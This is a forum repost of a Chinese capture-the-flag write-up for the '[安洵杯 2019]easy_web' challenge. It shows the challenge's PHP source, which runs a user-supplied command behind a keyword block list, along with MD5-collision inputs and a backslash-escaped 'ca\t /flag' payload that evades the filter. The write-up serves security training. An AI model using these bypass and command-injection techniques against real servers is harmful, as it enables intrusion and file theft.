飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 18173|回复: 0

[安洵杯 2019]easy_web

[复制链接]

9180

主题

9268

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
29870
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式

  T3 ]3 {8 H1 G$ U<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
4 c" R* m; F7 k- I<p>&nbsp;</p>+ Y+ W, P6 ~7 j
<p>&nbsp;</p>) N; M0 G$ |; x4 {$ q
<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>
2 Q- x4 C4 K, }, P" N) f$ I3 T<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
, _- T% s6 l9 m$ j4 n<p>&nbsp;</p>
6 R, u5 Z; Z1 D" X' A<p>&nbsp;</p>% b0 K& F. W+ j6 U
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
1 R' {. Y9 B9 M) E+ q<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
8 c$ g  W8 P: U/ E<p>首先把那个进行一次base64位解码</p>
4 F4 |3 N. l+ t8 |<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>) P8 H7 G; I' E2 j
<p>&nbsp;</p>7 v6 S! l+ w# W' d" ^& X# k
<p>&nbsp;</p>$ P( [) u, v1 U: H
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
! L, n. x3 {$ R5 v( ?' w<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>; a% O, m& M1 r
<p>&nbsp;</p>
$ r6 l$ ?' j4 Z& {" n<p>&nbsp;</p>* y. f5 y: D( ]% g+ B6 I" D
<p>&nbsp;然后用hex解码一下得到了</p>4 \5 u, q4 ?, l6 H- v
<div class="cnblogs_Highlighter">8 l! C  c$ r  h$ t6 b" |4 |9 K; L
<pre class="brush:sql;gutter:true;">555.png
/ w' u. \2 H0 i# x; s; w</pre>* h+ ^2 [  q0 K- `* S" N
</div>
( X0 |! U4 f. P* m<p>  用同样的方法把index.php进行加密</p>
% i" c+ Z9 S6 h7 C# H<div class="cnblogs_Highlighter">9 ?6 N' _# z5 G7 M1 R+ R
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
& V  B5 P% w! @7 H8 M</pre>0 c( h; d' _  G! a
</div>& J5 l4 r" J) g# k/ Q  z
<p>  然后输入到地址栏</p>8 K8 ?' c  ]" `3 @3 D
<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>
0 q' l4 S4 [7 M  g# D' j<div class="cnblogs_code">/ B# M! G7 }& w' s( _6 N6 O* Q
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php
3 A& a# a3 D9 z2 j, H</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);; ^, N! D) Z4 o
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);9 E6 @, A/ f2 k/ G
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
) x8 p( \9 |+ l</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) + d/ t! \, m5 ]! f  l1 t, r. t
    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);
# g, R5 ~0 c$ L' n6 B, R</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));3 ^' M8 ?0 j. u- l1 |
+ r7 A9 {# H* D
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);/ g1 M* L6 O( O( d! C. U( b5 l) q
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {8 _# f/ q! c$ `' L% x6 S6 {3 t
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;9 y' o% |0 `' {# [9 e& u+ R0 v, v0 j3 @
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
/ s$ c% I- i* B: N+ J, x} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {4 e* B# y7 W" e: ^, [+ ]
    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
; n+ k! e+ @1 \8 }) F# j    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
* I. \: ~! D! }1 O& Y    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
6 q5 P+ \) A, q! _* i, |* ]}
) c4 i& T  p3 H0 b' N* L</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;) u- g" s, S1 v. q) e
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;4 R4 \# V% }2 m+ i+ m
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
7 b# }( d# ?( I7 f1 @    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
2 I" d5 w2 R7 i2 j6 P    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;7 X, b1 u0 ?4 U  M- j- L
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
% `  i, D! r2 [. q! A    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {6 i7 I( d9 g( a$ f# A
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
, P3 J0 ^% a* u( D6 _" H    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 \: Z3 C3 |6 B( a
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);9 u: h7 c) n- T/ V4 {' J# F
    }5 T1 Q& c2 ~! R6 y5 Y
}
8 P: w) h, w$ J- v( f9 m$ v9 F* y) F6 p5 j: x
</span>?&gt;6 c" z) Z% X1 L$ E8 N: u% n; W
&lt;html&gt;
2 p* [% m" K! `1 e9 {3 S&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">4 P! _  P9 g1 ~* F3 C
  body{8 J+ z9 d( i. g$ E2 `# c
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
' b" N9 G0 b) N$ v! p  y  d0 y, z   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
5 L0 }( z# K- t5 i$ D7 ~. w* h- |& }6 k   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;* i% N8 X) V+ W) b0 u
   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
' j7 B' ^4 X9 M* j2 q2 W<span style="color: rgba(0, 0, 0, 1)">}: `* l/ n# O' V
</span>&lt;/style&gt;
. d6 f( ?  Z$ }2 s&lt;body&gt;
$ }: W% E6 v7 A" ]8 G&lt;/body&gt;
- j; Q: l/ ^( M, @&lt;/html&gt;</pre>
0 j' J5 E; \1 u! q2 n$ u3 y" p) k. d) U</div>
& Q% U% f5 W4 |. w; W5 F<p>结合前面的推断,关键代码就在</p>
1 V  \9 w: ^0 E6 D1 @+ j& r<div class="cnblogs_code">
, r7 P: J9 w; X8 }: h# y<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
# ^6 o0 ?- c% ~) @6 J3 l  t        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;( ~( s$ n; |7 ^3 M# O1 B+ b3 T
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
/ n2 O$ T) {) J& I1 K* `$ ^8 O        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);2 G# N4 }( L/ R/ F+ o. D
    }</span></pre>& F. ]2 [+ f: u
</div>2 Y0 y8 K9 I; [" u6 J$ W' M7 y
<p>这种MD5是md5强碰撞</p>; Y1 ]8 F- [' v9 ~) V( G
<div class="cnblogs_Highlighter">
7 ^  b- o# }3 ?6 Y6 w( m<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
  z9 @- e- ~. h* `2 I5 O9 F</pre>2 Q  V1 G5 z- L2 C6 }
</div>
& Q& i8 f9 |/ S<div class="cnblogs_Highlighter">
( C; q0 a4 v- r. O- ?<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
5 b# D# @- {1 x' p</pre>
/ w9 l6 i* @; l3 J</div>
+ R8 v' c4 \6 z<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>% L: i) }# x$ \& g/ c- p! b" J% ^6 `* @! S
<p>于是采用payload:</p>% H& q, `. i: \0 e4 h
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>: v* i( o8 x$ a( S
<p>&nbsp;</p>
+ O* m. B- C- O  T) m<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
8 e0 X. ]& u4 O  e/ a  k/ u# _2 q<p>ls和l\s在命令执行的时候结果是一样的。</p>! Q" H0 q: U6 r9 q" I
<p>然后发现根目录里面有/flag</p>
7 l( Y( g/ n+ p$ S! s0 ^& u<p>于是payload:</p>
9 N% G2 }0 t/ y# D, l* ?<div class="cnblogs_Highlighter">; H. v2 K$ y* s
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
4 u2 w/ k4 s$ P& J+ p</pre>" }+ T4 {0 J3 ~9 Y9 ^! S0 K5 ?
</div>
+ k# v9 r/ e% c# G1 c<p>  对于这个题目,因为他没有屏蔽sort和dir</p>5 K! h' k* l( z5 y, }5 o0 c
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>: a8 e, T7 K% j( [7 r* }
<p>&nbsp;</p>
/ I9 z* q: y" l0 H
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2026-9-9 11:47 , Processed in 0.063342 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表